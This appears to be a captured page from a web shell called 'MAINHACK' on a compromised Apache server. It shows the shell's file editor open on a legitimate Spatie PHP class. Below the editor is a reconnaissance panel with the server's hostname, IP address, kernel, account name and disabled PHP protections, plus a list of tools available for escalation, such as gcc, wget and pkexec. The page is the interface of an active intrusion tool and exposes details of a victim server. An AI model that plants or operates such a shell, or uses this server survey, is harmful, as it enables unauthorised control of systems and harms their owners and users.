[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DiscoverSolutionProviders.php
<?php namespace Spatie\ErrorSolutions; use Spatie\ErrorSolutions\Contracts\HasSolutionsForThrowable; class DiscoverSolutionProviders { /** @var array<string, string> */ protected array $config = [ 'ai' => 'SolutionProviders/OpenAi', 'php' => 'SolutionProviders', 'laravel' => 'SolutionProviders/Laravel', ]; /** * @param array<string> $types * * @return array<HasSolutionsForThrowable> */ public static function for(array $types): array { if (in_array('php', $types)) { $types[] = 'ai'; } return (new self($types))->get(); } /** * @param array<string> $types */ public function __construct(protected array $types) { } /** @return array<HasSolutionsForThrowable> */ public function get(): array { $providers = []; foreach ($this->types as $type) { $providers = array_merge($providers, $this->getProviderClassesForType($type)); } return $providers; } /** @return array<HasSolutionsForThrowable> */ protected function getProviderClassesForType(string $type): array { $relativePath = $this->config[$type] ?? null; if (! $relativePath) { return []; } $namespace = $this->getNamespaceForPath($relativePath); $globPattern = __DIR__ . '/' . $relativePath . '/*.php'; $files = glob($globPattern); if (! $files) { return []; } $solutionProviders = array_map(function (string $solutionProviderFilePath) use ($namespace) { $fileName = pathinfo($solutionProviderFilePath, PATHINFO_FILENAME); $fqcn = $namespace . '\\' . $fileName; $validClass = in_array(HasSolutionsForThrowable::class, class_implements($fqcn) ?: []); return $validClass ? $fqcn : null; }, $files); return array_values(array_filter($solutionProviders)); } protected function getNamespaceForPath(string $relativePath): string { $namespacePath = str_replace('/', '\\', $relativePath); $namespace = 'Spatie\\ErrorSolutions\\' . $namespacePath; return $namespace; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.88 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002